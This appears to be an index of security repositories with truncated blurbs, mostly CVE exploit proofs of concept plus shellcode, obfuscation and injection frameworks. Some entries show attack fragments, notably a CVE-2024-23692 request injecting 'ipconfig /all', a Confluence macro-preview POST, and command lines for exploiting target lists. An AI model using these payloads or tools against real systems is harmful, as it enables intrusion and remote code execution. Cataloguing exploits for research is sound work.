CVE-2019-2890

Disclaimer For learning and communication purposes only. Use for other purposes is at your own risk. Description The relevant jar files have been imported into the project, and the exploitation method uses yso's JRMP. When learning and debugging, you can modify the exploitation method. First, pla...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector path traversal CVE-2019-3396 RCE POC POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

CVE-2026-33634-Scanner

CVE-2026-33634-Scanner Automated scanner for detecting indicators of compromise IOCs associated with the TeamPCP supply chain attack CVE-2026-33634 📋 Table of Contents Overview Vulnerability Features Detected IOCs Installation Usage Examples Report Format Project Structure System Requirements...

voron-crypto

Voron crypto/protocol library — request for review This is the crypto and messaging-protocol core of a small E2EE messenger project, pulled out on its own for outside review. It is not the whole product — the Android client and deployment config are intentionally left out; this is just the part...

atril_cbt-inject-exploit

CVE-2023-44452, CVE-2023-51698: Linux Mint Xreader/MATE Atril CBT File Parsing Argument Injection Remote Code Execution Vulnerability A Critical One-Click RCE/Command Injection Vulnerability Affecting Popular Linux Operating Systems with MATE, Cinnamon, and some Xfce desktop Environments. Affecte...

CVE-2025-8971

CVE-2025-8971 SQL Injection Author: Byte Reaper Description : This exploit for CVE-2025-8971, a SQL injection vulnerability in itsourcecode Online Tour and Travel Management System 1.0. The vulnerability exists in /admin/operations/travellers.php and can be exploited remotely via the val-username...

CVE-2024-23692

CVE-2024-23692 BURP POC GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

CVE-2026-29955

KubePlus KubeconfigGenerator Command Injection Vulnerability This vulnerability exists in the kubeconfiggenerator component of KubePlus, allowing attackers with HTTP interface access to inject shell commands via the chartName parameter, execute arbitrary code as root within the container, and ste...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ Overview CVE-2026-16723 is a Remote Code Execution RCE vulnerability in Fastjson 1.x 1.2.68 – 1.2.83. When Fastjson parses attacker-controlled JSON, a crafted @type value is turned into a class-resource lookup inside...

CVE-2019-20224

CVE-2019-20224 The offical exploit for Pandora v7.0NG Post-auth Remote Code Execution CVE-2019-20224...

ropfuscator

Disclaimer ROPfuscator is a research proof of concept and is not intended for production use. The authors do not take any responsibility or liability for the use of the software. Please exercise caution and use at your own risk. ROPfuscator ROPfuscator is a fine-grained code obfuscation framework...

SILVERPICK

SILVERPICK VERSION v1.1 BRIEF Project SILVERPICK is a Windows User-Mode Shellcode Development Framework WUMSDF whose sole purpose is to empower capability developers to build Position Independent Code PIC blobs for Windows x64 using C/C++ in an easy manner so as to reduce the development costs of...

nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-frameworkclass MetasploitModule 'Wordpress Popular Posts Authenticated RCE', 'Description' = %q This exploit requires Metasploit to have a FQDN and the...

CVE-2026-86950

🛡️ CVE-2026-86950 — CoreGraphics Security Research 🔬 Defensive Security Research • Vulnerability Analysis • Detection 📌 Overview CVE-2026-86950 is a high-severity vulnerability affecting Apple's CoreGraphics component. The vulnerability is classified as an out-of-bounds write CWE-787 and can...

chakra-exploit-framework

Chakra Exploitation Framework This repository contains the Browser Exploitation Framework I wrote to prepare for my EXP-401 course. The framework targets the Chakra engine, which was part of Edge until its switch to v8 in 2019. The demo vulnerability used in the framework is the CVE-2019-0567 Typ...

CVE-2024-27348

CVE-2024-27348 🪶 CVE-2024-27348 Proof of concept Exploit RCE in Apache HugeGraph Server Unauthenticated users can execute OS commands via Groovy injection in Apache HugeGraph Server. Usage 🛠 Exploit multiple targets ☣️ python3 CVE-2024-27348.py -f targets.txt -c "command to execute" Exploit single...

pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE allows an authenticated user to achieve remote command execution via the events feature. Can be done with credentials or a PHP session cookie. Getting Started Executing program Using credentials python3 pandorafms7.44.py -t...

ntqueueapcthreadex-ntdll-gadget-injection

🧪 NtQueueApcThreadEx NTDLL Gadget Injection Introduction This novel way of using NtQueueApcThreadEx by abusing the ApcRoutine and SystemArgument0-3 parameters by passing a random pop r32; ret gadget can be used for stealthy code injection. Within this PoC, the gadget in this case is picked random...

gstack

gstack gstack turns Claude Code and other coding agents into a virtual engineering team: a CEO who rethinks the product, an eng manager who locks architecture, a designer who catches AI slop, a reviewer who finds production bugs, a QA lead who opens a real browser, a security officer who runs OWA...

CVE-2021-40222

CVE-2021-40222 Application : Rittal CMC PU III Web management Devices : CMC PU III 7030.000 Software Revision : V3.11.002 Hardware Revision : V3.00 Attack type : Remote Code Execution Solution : Update to Software Revision V3.17.10 or later Summary : Web application fails to sanitize user input o...